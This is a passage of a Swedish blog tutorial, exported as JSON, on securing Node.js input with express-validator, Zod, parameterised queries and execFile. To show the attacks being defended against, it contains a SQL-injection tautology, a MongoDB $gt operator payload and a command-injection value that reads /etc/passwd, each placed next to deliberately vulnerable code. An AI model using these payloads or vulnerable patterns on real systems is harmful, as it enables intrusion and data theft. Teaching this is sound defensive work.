{"id":142,"date":"2026-06-20T08:00:00","date_gmt":"2026-06-20T08:00:00","guid":{"rendered":"https:\/\/shattered.io\/se\/2026\/06\/20\/nodejs-input-validation\/"},"modified":"2026-06-20T16:47:56","modified_gmt":"2026-06-20T16:47:56","slug":"nodejs-input-validation","status":"publish","type":"post","link":"https:\/\/shattered.io\/se\/nodejs-input-validation\/","title":{"rendered":"Node.js Indatavalidering: 12 steg mot injektionsattacker [2026]"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Injektionsattacker toppar OWASP:s lista \u00f6ver de farligaste webbs\u00e5rbarheterna 2026. En enda okontrollerad textstr\u00e4ng i databasen, kommandoskalet eller HTML-utdatan kan ge en angripare fullst\u00e4ndig kontroll \u00f6ver din server. Det tar oftast under 30 sekunder f\u00f6r en automatiserad scanner att hitta en os\u00e4ker Node.js-endpoint. Den h\u00e4r guiden visar dig exakt hur du stoppar attackerna med express-validator, Zod och parameteriserade fr\u00e5gor, steg f\u00f6r steg.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"vad-ar-indatavalidering-och-varfor-det-spelar-roll-2026\">Vad \u00e4r indatavalidering och varf\u00f6r det spelar roll 2026<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Indatavalidering inneb\u00e4r att varje datav\u00e4rde som n\u00e5r din applikation kontrolleras mot ett f\u00f6rv\u00e4ntat format <strong>innan<\/strong> det anv\u00e4nds. Sanering (engelska: sanitization) \u00e4r steget d\u00e4refter: att ta bort eller neutralisera farliga tecken som trots allt tagit sig in. Skillnaden \u00e4r viktig. Validering avvisar; sanering rensar. En robust Node.js-applikation g\u00f6r b\u00e5da.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Enligt OWASP:s senaste riktlinjer \u00e4r injektionsattacker (A03:2021) en av de tre vanligaste s\u00e5rbarheterna i webbapplikationer. Kategorin t\u00e4cker SQL-injektion, NoSQL-injektion, kommandoinjektion, LDAP-injektion och cross-site scripting (XSS). Node.js \u00e4r inte immunt. I januari 2026 publicerades CVE-2025-55131, en timeout-baserad race-condition i Node.js runtime som kan l\u00e4cka k\u00e4nsliga buffertdata som tokens eller l\u00f6senord. I mars 2026 patchades ytterligare 8 CVE:er i Node.js 20.x, 22.x, 24.x och 25.x, bland dem ett HTTP\/2-krascharscenario, ett beh\u00f6righetsbypass via relativa syml\u00e4nkar och en kryptografisk timing-l\u00e4cka.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">K\u00e4rn-principen \u00e4r of\u00f6r\u00e4ndrad sedan internets begynnelse: <strong>lita aldrig p\u00e5 anv\u00e4ndarinput<\/strong>. Klientsidesvalidering med JavaScript kan kringg\u00e5s p\u00e5 en sekund med curl eller Burp Suite. All validering m\u00e5ste ske p\u00e5 servern. Den h\u00e4r guiden l\u00e4r dig hur.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Attacktyp<\/th><th>Angripen komponent<\/th><th>Skadepotential<\/th><th>Prim\u00e4rt skydd<\/th><\/tr><\/thead><tbody><tr><td>SQL-injektion<\/td><td>Relationsdatabas<\/td><td>Full databas\u00e5tkomst, GDPR-b\u00f6ter<\/td><td>Parameteriserade fr\u00e5gor<\/td><\/tr><tr><td>NoSQL-injektion<\/td><td>MongoDB, Redis<\/td><td>Autentiseringsbypass, datask\u00f6rdning<\/td><td>Schema-validering, operat\u00f6rsanering<\/td><\/tr><tr><td>Kommandoinjektion<\/td><td>OS-skal<\/td><td>Fullst\u00e4ndig serverkontroll<\/td><td>Allowlist, child_process-alternativ<\/td><\/tr><tr><td>XSS (reflekterad)<\/td><td>Webbl\u00e4sare<\/td><td>Sessionsst\u00f6ld, phishing<\/td><td>Utdatakodning, CSP<\/td><\/tr><tr><td>XSS (lagrad)<\/td><td>Databas + webbl\u00e4sare<\/td><td>Persistent skadlig kod f\u00f6r alla anv\u00e4ndare<\/td><td>HTML-sanering, DOMPurify<\/td><\/tr><tr><td>Filuppladdning<\/td><td>Filsystem, exekvering<\/td><td>Fj\u00e4rrk\u00f6rning av kod<\/td><td>MIME-validering, storleksgr\u00e4nser<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"forutsattningar\">F\u00f6ruts\u00e4ttningar<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Innan du b\u00f6rjar b\u00f6r du ha f\u00f6ljande p\u00e5 plats:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Node.js 22.x LTS<\/strong> eller nyare (den aktiva LTS-linjen med s\u00e4kerhetsst\u00f6d 2026)<\/li><li><strong>npm 10.x<\/strong> eller nyare<\/li><li><strong>Express.js 5.x<\/strong> (Express 5.0 \u00e4r nu stabil och hanterar asynkrona fel automatiskt)<\/li><li>Grundl\u00e4ggande kunskaper om REST API-struktur och HTTP-metoder<\/li><li>En textredigerare, till exempel VS Code<\/li><li>curl eller Postman f\u00f6r att testa endpoints<\/li><li>Valfri databas: PostgreSQL 16.x (f\u00f6r SQL-exemplen) eller MongoDB 7.x (f\u00f6r NoSQL-exemplen)<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Kontrollera dina versioner innan du b\u00f6rjar:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>node --version   # b\u00f6r visa v22.x.x eller h\u00f6gre\nnpm --version    # b\u00f6r visa 10.x.x eller h\u00f6gre<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"steg-1-3-projektstruktur-och-installation\">Steg 1-3: Projektstruktur och installation<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"steg-1-skapa-projektet-och-installera-beroenden\">Steg 1: Skapa projektet och installera beroenden<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">B\u00f6rja med en ren mapp och initiera ett npm-projekt. Vi installerar de paket vi beh\u00f6ver direkt:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mkdir nodejs-validation-demo\ncd nodejs-validation-demo\nnpm init -y\nnpm install express express-validator zod sanitize-html helmet cors multer\nnpm install --save-dev nodemon jest supertest<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Paketen fyller var sin roll:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>express<\/strong>: HTTP-ramverk<\/li><li><strong>express-validator<\/strong>: Middleware-baserad validering och sanering direkt i Express-routers<\/li><li><strong>zod<\/strong>: Schema-validering med inbyggt TypeScript-st\u00f6d, fungerar \u00e4ven i vanlig JavaScript<\/li><li><strong>sanitize-html<\/strong>: Rensar HTML-str\u00e4ngar fr\u00e5n farliga taggar och attribut<\/li><li><strong>helmet<\/strong>: S\u00e4tter s\u00e4kerhetsrubriker som Content-Security-Policy och X-Content-Type-Options automatiskt<\/li><li><strong>cors<\/strong>: Kontrollerad Cross-Origin Resource Sharing<\/li><li><strong>multer<\/strong>: S\u00e4ker filuppladdningshantering med storleksgr\u00e4nser<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"steg-2-grundlaggande-express-server-med-helmet\">Steg 2: Grundl\u00e4ggande Express-server med Helmet<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Skapa filen <code>src\/app.js<\/code> och l\u00e4gg till grundstrukturen. Helmet \u00e4r det f\u00f6rsta som monteras, vilket garanterar att alla s\u00e4kerhetsrubriker s\u00e4tts oavsett vilka routers som k\u00f6rs senare:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const express = require('express');\nconst helmet = require('helmet');\nconst cors = require('cors');\n\nconst userRoutes = require('.\/routes\/users');\nconst postRoutes = require('.\/routes\/posts');\n\nconst app = express();\n\n\/\/ S\u00e4kerhetsrubriker: X-Content-Type-Options, X-Frame-Options, HSTS etc.\napp.use(helmet());\n\n\/\/ Begr\u00e4nsa CORS till k\u00e4nda ursprung\napp.use(cors({\n  origin: process.env.ALLOWED_ORIGINS\n    ? process.env.ALLOWED_ORIGINS.split(',')\n    : ['http:\/\/localhost:3000'],\n  methods: ['GET', 'POST', 'PUT', 'DELETE'],\n  allowedHeaders: ['Content-Type', 'Authorization']\n}));\n\n\/\/ Parsa JSON-body med en h\u00e5rd storleksgr\u00e4ns\napp.use(express.json({ limit: '10kb' }));\napp.use(express.urlencoded({ extended: false, limit: '10kb' }));\n\napp.use('\/api\/users', userRoutes);\napp.use('\/api\/posts', postRoutes);\n\n\/\/ Global felhanterare\napp.use((err, req, res, next) => {\n  console.error(err.stack);\n  res.status(500).json({ error: 'Internt serverfel' });\n});\n\nmodule.exports = app;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Storleksgr\u00e4nsen <code>10kb<\/code> p\u00e5 JSON-bodyn \u00e4r inte trivial. Utan den kan en angripare skicka en gigantisk payload som tar ner din Node.js-process. Express 5.x kastar automatiskt ett 413-fel om gr\u00e4nsen \u00f6verskrids, men du m\u00e5ste fortfarande ange gr\u00e4nsen manuellt.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"steg-3-filstruktur-for-projektet\">Steg 3: Filstruktur f\u00f6r projektet<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Organisera koden s\u00e5 att validering \u00e4r tydligt separerad fr\u00e5n aff\u00e4rslogik och databasanrop. Det g\u00f6r det enkelt att uppdatera regler p\u00e5 ett st\u00e4lle:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nodejs-validation-demo\/\n\u251c\u2500\u2500 src\/\n\u2502   \u251c\u2500\u2500 app.js\n\u2502   \u251c\u2500\u2500 server.js\n\u2502   \u251c\u2500\u2500 routes\/\n\u2502   \u2502   \u251c\u2500\u2500 users.js\n\u2502   \u2502   \u2514\u2500\u2500 posts.js\n\u2502   \u251c\u2500\u2500 validators\/\n\u2502   \u2502   \u251c\u2500\u2500 userValidator.js\n\u2502   \u2502   \u2514\u2500\u2500 postValidator.js\n\u2502   \u251c\u2500\u2500 schemas\/\n\u2502   \u2502   \u2514\u2500\u2500 userSchema.js\n\u2502   \u2514\u2500\u2500 middleware\/\n\u2502       \u2514\u2500\u2500 validateRequest.js\n\u251c\u2500\u2500 .env\n\u251c\u2500\u2500 .gitignore\n\u2514\u2500\u2500 package.json<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Se till att l\u00e4gga till <code>.env<\/code> i <code>.gitignore<\/code> direkt. L\u00e4ckta milj\u00f6variabler \u00e4r en av de vanligaste orsakerna till dataintr\u00e5ng i Node.js-applikationer.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"steg-4-5-validering-med-express-validator\">Steg 4-5: Validering med express-validator<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">express-validator \u00e4r en middleware-wrapper runt det v\u00e4lbepr\u00f6vade validator.js-biblioteket och l\u00e5ter dig kedja valideringsregler direkt i routerdefinitioner. Det \u00e4r det vanligaste valet f\u00f6r Express-specifika projekt tack vare sin direkta integration med Express middleware-m\u00f6nstret.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"steg-4-skapa-validatorer-for-anvandarregistrering\">Steg 4: Skapa validatorer f\u00f6r anv\u00e4ndarregistrering<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Skapa filen <code>src\/validators\/userValidator.js<\/code>. Separera alltid valideringsregler fr\u00e5n routerlogiken:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const { body, param, query } = require('express-validator');\n\n\/\/ \u00c5teranv\u00e4ndbar lista med valideringsregler f\u00f6r registrering\nconst registerRules = [\n  body('email')\n    .isEmail().withMessage('E-postadressen \u00e4r ogiltig')\n    .normalizeEmail()          \/\/ konverterar till lowercase och tar bort alias-punkter\n    .isLength({ max: 254 }).withMessage('E-postadressen \u00e4r f\u00f6r l\u00e5ng')\n    .trim(),\n\n  body('password')\n    .isLength({ min: 12 }).withMessage('L\u00f6senordet m\u00e5ste vara minst 12 tecken')\n    .isLength({ max: 128 }).withMessage('L\u00f6senordet \u00e4r f\u00f6r l\u00e5ngt')\n    .matches(\/[A-Z]\/).withMessage('L\u00f6senordet m\u00e5ste inneh\u00e5lla minst en versal')\n    .matches(\/[0-9]\/).withMessage('L\u00f6senordet m\u00e5ste inneh\u00e5lla minst en siffra')\n    .matches(\/[^A-Za-z0-9]\/).withMessage('L\u00f6senordet m\u00e5ste inneh\u00e5lla minst ett specialtecken'),\n\n  body('username')\n    .isAlphanumeric('sv-SE').withMessage('Anv\u00e4ndarnamnet f\u00e5r bara inneh\u00e5lla bokst\u00e4ver och siffror')\n    .isLength({ min: 3, max: 30 }).withMessage('Anv\u00e4ndarnamnet m\u00e5ste vara 3-30 tecken')\n    .trim()\n    .escape(),  \/\/ HTML-kodar <, >, &, \" och ' till HTML-entiteter\n\n  body('age')\n    .optional()\n    .isInt({ min: 13, max: 120 }).withMessage('\u00c5ldern m\u00e5ste vara ett heltal mellan 13 och 120')\n    .toInt(),   \/\/ konverterar str\u00e4ngen \"28\" till talet 28\n\n  body('website')\n    .optional()\n    .isURL({ protocols: ['https'], require_protocol: true })\n    .withMessage('Webbplatsen m\u00e5ste vara en giltig HTTPS-URL')\n    .isLength({ max: 200 }).withMessage('URL:en \u00e4r f\u00f6r l\u00e5ng')\n];\n\n\/\/ Valideringsregler f\u00f6r att h\u00e4mta en specifik anv\u00e4ndare via URL-parameter\nconst getUserRules = [\n  param('id')\n    .isInt({ min: 1 }).withMessage('ID m\u00e5ste vara ett positivt heltal')\n    .toInt()\n];\n\n\/\/ Valideringsregler f\u00f6r s\u00f6kning via query-parameter\nconst searchRules = [\n  query('q')\n    .isLength({ min: 2, max: 100 }).withMessage('S\u00f6ktermen m\u00e5ste vara 2-100 tecken')\n    .trim()\n    .escape()\n];\n\nmodule.exports = { registerRules, getUserRules, searchRules };<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Notera skillnaden mellan <code>.isAlphanumeric()<\/code> och <code>.escape()<\/code>. Det f\u00f6rsta \u00e4r validering: det avvisar indata som inneh\u00e5ller icke-alfanumeriska tecken. Det andra \u00e4r sanering: det omvandlar <code>&lt;<\/code> till <code>&amp;lt;<\/code> om n\u00e5got \u00e4nd\u00e5 kommit igenom. Anv\u00e4nd b\u00e5da i lager.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"steg-5-middleware-for-att-kontrollera-valideringsresultat\">Steg 5: Middleware f\u00f6r att kontrollera valideringsresultat<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Skapa <code>src\/middleware\/validateRequest.js<\/code>. Det \u00e4r den middleware som faktiskt avbryter requesten om express-validators regler hittat fel:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const { validationResult } = require('express-validator');\n\nfunction validateRequest(req, res, next) {\n  const errors = validationResult(req);\n\n  if (!errors.isEmpty()) {\n    \/\/ Returnera generiska felmeddelanden utan intern implementation\n    return res.status(422).json({\n      message: 'Valideringsfel',\n      errors: errors.array().map(err => ({\n        field: err.path,\n        message: err.msg\n        \/\/ Skicka ALDRIG err.value tillbaka - det kan inneh\u00e5lla skadliga str\u00e4ngar\n      }))\n    });\n  }\n\n  next();\n}\n\nmodule.exports = validateRequest;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Bind ihop allt i routen <code>src\/routes\/users.js<\/code>. Nyckelregeln \u00e4r att <code>validateRequest<\/code> alltid placeras <em>efter<\/em> rules-arrayen och <em>innan<\/em> handlern:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const express = require('express');\nconst router = express.Router();\nconst { registerRules, getUserRules, searchRules } = require('..\/validators\/userValidator');\nconst validateRequest = require('..\/middleware\/validateRequest');\n\n\/\/ Registreringsendpoint\nrouter.post('\/register', registerRules, validateRequest, async (req, res) => {\n  const { email, password, username, age, website } = req.body;\n  \/\/ H\u00e4r vet vi att alla f\u00e4lt \u00e4r validerade och sanerade\n  \/\/ Hasha l\u00f6senordet med bcrypt eller Argon2 INNAN du sparar det\n  res.json({ message: 'Anv\u00e4ndare registrerad', username });\n});\n\n\/\/ H\u00e4mta specifik anv\u00e4ndare\nrouter.get('\/:id', getUserRules, validateRequest, async (req, res) => {\n  const userId = req.params.id; \/\/ Garanterat ett positivt heltal\n  res.json({ message: 'H\u00e4mta anv\u00e4ndare', id: userId });\n});\n\n\/\/ S\u00f6k anv\u00e4ndare\nrouter.get('\/', searchRules, validateRequest, async (req, res) => {\n  const searchTerm = req.query.q;\n  res.json({ message: 'S\u00f6ker efter', term: searchTerm });\n});\n\nmodule.exports = router;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Testa att validatorn fungerar:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Skicka en ogiltig e-postadress och ett f\u00f6r kort l\u00f6senord\ncurl -s -X POST http:\/\/localhost:3000\/api\/users\/register \\\n  -H 'Content-Type: application\/json' \\\n  -d '{\"email\":\"inte-en-email\",\"password\":\"kort\",\"username\":\"a\"}' | jq\n\n# F\u00f6rv\u00e4ntat svar:\n{\n  \"message\": \"Valideringsfel\",\n  \"errors\": [\n    { \"field\": \"email\", \"message\": \"E-postadressen \u00e4r ogiltig\" },\n    { \"field\": \"password\", \"message\": \"L\u00f6senordet m\u00e5ste vara minst 12 tecken\" },\n    { \"field\": \"username\", \"message\": \"Anv\u00e4ndarnamnet m\u00e5ste vara 3-30 tecken\" }\n  ]\n}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"steg-6-7-schema-validering-med-zod\">Steg 6-7: Schema-validering med Zod<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Zod passar utm\u00e4rkt n\u00e4r du vill ha strikta typdefinitioner, komplexa villkor mellan f\u00e4lt och automatiska TypeScript-typer genererade direkt fr\u00e5n schemat. Det \u00e4r s\u00e4rskilt popul\u00e4rt i full-stack TypeScript-projekt med Next.js eller tRPC.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"steg-6-definiera-ett-zod-schema\">Steg 6: Definiera ett Zod-schema<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Skapa <code>src\/schemas\/userSchema.js<\/code>. Kraften i Zod syns tydligast n\u00e4r du beh\u00f6ver kors-f\u00e4ltvalidering, som att bekr\u00e4fta att tv\u00e5 l\u00f6senordsf\u00e4lt matchar:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const { z } = require('zod');\n\nconst createUserSchema = z.object({\n  body: z.object({\n    email: z.string()\n      .email('Ogiltig e-postadress')\n      .max(254, 'E-postadressen \u00e4r f\u00f6r l\u00e5ng')\n      .toLowerCase()\n      .trim(),\n\n    password: z.string()\n      .min(12, 'L\u00f6senordet m\u00e5ste vara minst 12 tecken')\n      .max(128, 'L\u00f6senordet \u00e4r f\u00f6r l\u00e5ngt')\n      .regex(\/[A-Z]\/, 'M\u00e5ste inneh\u00e5lla minst en versal')\n      .regex(\/[0-9]\/, 'M\u00e5ste inneh\u00e5lla minst en siffra')\n      .regex(\/[^A-Za-z0-9]\/, 'M\u00e5ste inneh\u00e5lla minst ett specialtecken'),\n\n    confirmPassword: z.string(),\n\n    role: z.enum(['user', 'moderator'], {\n      errorMap: () => ({ message: 'Rollen m\u00e5ste vara user eller moderator' })\n    }).default('user'),\n\n    preferences: z.object({\n      language: z.enum(['sv', 'en', 'no', 'da', 'fi']).default('sv'),\n      newsletter: z.boolean().default(false)\n    }).optional()\n\n  }).refine(data => data.password === data.confirmPassword, {\n    \/\/ .refine() till\u00e5ter validering som sp\u00e4nner \u00f6ver flera f\u00e4lt\n    message: 'L\u00f6senorden st\u00e4mmer inte \u00f6verens',\n    path: ['confirmPassword']\n  })\n});\n\nmodule.exports = { createUserSchema };<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"steg-7-generisk-zod-middleware-fabrik\">Steg 7: Generisk Zod-middleware-fabrik<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Skapa en middleware-fabrik som accepterar vilket Zod-schema som helst. Fabriks-m\u00f6nstret inneb\u00e4r att du kan \u00e5teranv\u00e4nda samma middleware med olika scheman:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ src\/middleware\/zodValidate.js\nconst { ZodError } = require('zod');\n\nfunction zodValidate(schema) {\n  return (req, res, next) => {\n    try {\n      \/\/ Validerar och omvandlar body, params och query i ett steg\n      const parsed = schema.parse({\n        body: req.body,\n        params: req.params,\n        query: req.query\n      });\n\n      \/\/ Ers\u00e4tt originaldatan med den validerade och sanerade versionen\n      req.body = parsed.body || req.body;\n      req.params = parsed.params || req.params;\n      req.query = parsed.query || req.query;\n\n      next();\n    } catch (err) {\n      if (err instanceof ZodError) {\n        return res.status(422).json({\n          message: 'Valideringsfel',\n          errors: err.errors.map(e => ({\n            field: e.path.join('.'),\n            message: e.message\n          }))\n        });\n      }\n      next(err);\n    }\n  };\n}\n\nmodule.exports = zodValidate;<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Funktion<\/th><th>express-validator<\/th><th>Zod<\/th><th>Joi<\/th><\/tr><\/thead><tbody><tr><td>API-stil<\/td><td>Middleware-kedja<\/td><td>Schema-objekt<\/td><td>Schema-objekt<\/td><\/tr><tr><td>TypeScript-st\u00f6d<\/td><td>Partiellt med typer<\/td><td>Inbyggt, class-1<\/td><td>Med @types\/joi<\/td><\/tr><tr><td>Kors-f\u00e4lt-validering<\/td><td>custom() + body()<\/td><td>.refine() \/ .superRefine()<\/td><td>.when(), .and()<\/td><\/tr><tr><td>Automatisk typomvandling<\/td><td>toInt(), toDate()<\/td><td>z.coerce.number()<\/td><td>.number() med coerce<\/td><\/tr><tr><td>Passar b\u00e4st f\u00f6r<\/td><td>Express-appar, snabb setup<\/td><td>Full-stack TS, Zod-ekosystem<\/td><td>Komplex aff\u00e4rslogik<\/td><\/tr><tr><td>Felmeddelanden<\/td><td>Konfigurerbara per regel<\/td><td>Konfigurerbara, typs\u00e4kra<\/td><td>Konfigurerbara, rika<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"steg-8-9-forhindra-sql-injektion-med-parameteriserade-fragor\">Steg 8-9: F\u00f6rhindra SQL-injektion med parameteriserade fr\u00e5gor<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">SQL-injektion \u00e4r den klassiska injektionsattacken och forts\u00e4tter att vara en av de vanligaste s\u00e5rbarheterna i webbapplikationer. Anta att din kod bygger en query-str\u00e4ng direkt fr\u00e5n anv\u00e4ndarinput:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"steg-8-sakra-databas-queries-med-pg-postgresql\">Steg 8: S\u00e4kra databas-queries med pg (PostgreSQL)<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ FARLIG KOD - g\u00f6r ALDRIG s\u00e5 h\u00e4r\nconst query = `SELECT * FROM users WHERE email = '${req.body.email}'`;\n\/\/ En angripare skickar: ' OR '1'='1\n\/\/ Resulterar i: SELECT * FROM users WHERE email = '' OR '1'='1'\n\/\/ Returnerar ALLA anv\u00e4ndare i databasen och ger fullst\u00e4ndig \u00e5tkomst\n\n\/\/ S\u00c4KER VERSION med parameteriserad fr\u00e5ga (pg-drivern)\nconst { Pool } = require('pg');\n\nconst pool = new Pool({\n  connectionString: process.env.DATABASE_URL,\n  ssl: { rejectUnauthorized: true } \/\/ Kr\u00e4v TLS mot databasen\n});\n\nasync function getUserByEmail(email) {\n  \/\/ $1 \u00e4r en platsh\u00e5llare. pg-drivern skickar email som data, separat fr\u00e5n SQL-koden\n  const result = await pool.query(\n    'SELECT id, email, username, created_at FROM users WHERE email = $1 AND active = $2',\n    [email, true]\n  );\n  return result.rows[0] || null;\n}\n\n\/\/ S\u00c4KER s\u00f6kning med LIKE - procenttecknet l\u00e4ggs till EFTER parameteriseringen\nasync function searchUsers(searchTerm) {\n  const result = await pool.query(\n    'SELECT id, username FROM users WHERE username ILIKE $1 LIMIT 20',\n    [`%${searchTerm}%`]  \/\/ Procenttecknet \u00e4r en del av parameterv\u00e4rdet, inte SQL-koden\n  );\n  return result.rows;\n}\n\n\/\/ S\u00c4KER INSERT med flera parametrar\nasync function createUser(email, passwordHash, username) {\n  const result = await pool.query(\n    'INSERT INTO users (email, password_hash, username) VALUES ($1, $2, $3) RETURNING id',\n    [email, passwordHash, username]\n  );\n  return result.rows[0].id;\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Parameteriserade fr\u00e5gor fungerar med alla popul\u00e4ra Node.js-drivrutiner: <code>pg<\/code> f\u00f6r PostgreSQL, <code>mysql2<\/code> f\u00f6r MySQL (med <code>?<\/code> som platsh\u00e5llare) och <code>better-sqlite3<\/code> f\u00f6r SQLite. ORMs som Sequelize och Prisma parameteriserar automatiskt alla fr\u00e5gor genererade via deras standard-API, men dynamiska r\u00e5fr\u00e5gor med <code>sequelize.query()<\/code> eller Prisma:s <code>$queryRaw<\/code> kr\u00e4ver fortfarande att du anv\u00e4nder tagged template literals (<code>Prisma.sql`...`<\/code>) eller explicita platsh\u00e5llare.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"steg-9-nosql-injektion-i-mongodb\">Steg 9: NoSQL-injektion i MongoDB<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">MongoDB-fr\u00e5gor anv\u00e4nder JavaScript-objekt, inte SQL-str\u00e4ngar. Det skapar ett annat slags injektionsproblem. En angripare kan skicka ett JSON-objekt med MongoDB-operatorer som <code>$gt<\/code>, <code>$where<\/code> eller <code>$regex<\/code> f\u00f6r att manipulera fr\u00e5gelogiken:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ Angriparen skickar som JSON: { \"password\": { \"$gt\": \"\" } }\n\/\/ Express parsar detta till: req.body.password = { \"$gt\": \"\" }\n\/\/ MongoDB-fr\u00e5gan: db.users.findOne({ password: { $gt: \"\" } })\n\/\/ Matchar ALLA anv\u00e4ndare vars l\u00f6senordshash \u00e4r icke-tom str\u00e4ng\n\n\/\/ S\u00c4KER implementation med tre lager av skydd\nconst mongoSanitize = require('express-mongo-sanitize');\nconst { z } = require('zod');\nconst bcrypt = require('bcrypt');\n\n\/\/ Lager 1: Global middleware som tar bort alla $ och . fr\u00e5n keys\napp.use(mongoSanitize()); \/\/ K\u00f6rs f\u00f6re alla routes\n\n\/\/ Lager 2: Schema-validering som avvisar objekt d\u00e4r str\u00e4ngar f\u00f6rv\u00e4ntas\nconst loginSchema = z.object({\n  body: z.object({\n    email: z.string().email(), \/\/ z.string() avvisar automatiskt objekt som { \"$gt\": \"\" }\n    password: z.string().min(1).max(128)\n  })\n});\n\n\/\/ Lager 3: Typcheckning i databas-funktionen\nasync function loginUser(email, plaintextPassword) {\n  if (typeof email !== 'string' || typeof plaintextPassword !== 'string') {\n    throw new Error('Ogiltig indata');\n  }\n\n  \/\/ H\u00e4mta alltid med ett specifikt f\u00e4lt, aldrig med direkt password-j\u00e4mf\u00f6relse\n  const user = await db.collection('users').findOne({ email: email });\n  if (!user) return null;\n\n  \/\/ bcrypt.compare j\u00e4mf\u00f6r hash, aldrig r\u00e5a l\u00f6senord\n  const match = await bcrypt.compare(plaintextPassword, user.passwordHash);\n  return match ? user : null;\n}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"steg-10-forhindra-kommandoinjektion\">Steg 10: F\u00f6rhindra kommandoinjektion<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Kommandoinjektion uppst\u00e5r n\u00e4r anv\u00e4ndardata n\u00e5r ett OS-kommando via Node.js <code>child_process<\/code>. Det \u00e4r en av de farligaste s\u00e5rbarheterna och ger angriparen direkt skal\u00e4rs\u00e4ttning p\u00e5 din server. I Node.js uppst\u00e5r risken framf\u00f6r allt med <code>exec()<\/code> och <code>execSync()<\/code> som k\u00f6r kommandon via ett shell.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const { exec, execFile, spawn } = require('child_process');\n\n\/\/ FARLIG KOD - exec() tolkar kommandostr\u00e4ngar via \/bin\/sh\napp.get('\/ping-unsafe', (req, res) => {\n  const host = req.query.host;\n  \/\/ Angripare skickar: localhost; cat \/etc\/passwd\n  \/\/ Shell k\u00f6r: ping -c 4 localhost; cat \/etc\/passwd\n  exec(`ping -c 4 ${host}`, (err, stdout) => res.send(stdout));\n});\n\n\/\/ S\u00c4KERT ALTERNATIV 1: execFile() skickar argument separat - inget shell\napp.get('\/ping-safe', (req, res) => {\n  const host = req.query.host;\n\n  \/\/ Allowlist-validering INNAN k\u00f6rning\n  if (!\/^[a-zA-Z0-9.\\-]{1,253}$\/.test(host)) {\n    return res.status(400).json({ error: 'Ogiltigt v\u00e4rdnamn' });\n  }\n\n  \/\/ execFile k\u00f6r INTE via shell - ; | && etc. tolkas inte\n  execFile('ping', ['-c', '4', host], { timeout: 5000 }, (err, stdout) => {\n    if (err) return res.status(500).json({ error: 'Ping misslyckades' });\n    res.send(stdout);\n  });\n});\n\n\/\/ S\u00c4KERT ALTERNATIV 2: spawn() med shell: false (standard)\napp.get('\/convert', (req, res) => {\n  const filename = req.query.filename;\n\n  \/\/ Allowlist: bara alfanumeriska tecken, bindestreck, understreck och godk\u00e4nt suffix\n  if (!\/^[a-zA-Z0-9_\\-]{1,100}\\.(jpg|png|gif|webp)$\/.test(filename)) {\n    return res.status(400).json({ error: 'Ogiltigt filnamn' });\n  }\n\n  const child = spawn('convert', [\n    `\/uploads\/${filename}`,\n    '-resize', '800x600',\n    `\/output\/${filename}`\n  ]); \/\/ shell: false \u00e4r standard - ingen tolkning av shell-metachar\n\n  child.on('close', code => res.json({ success: code === 0 }));\n});\n\n\/\/ B\u00c4STA ALTERNATIV: Undvik shell-kommandon helt och 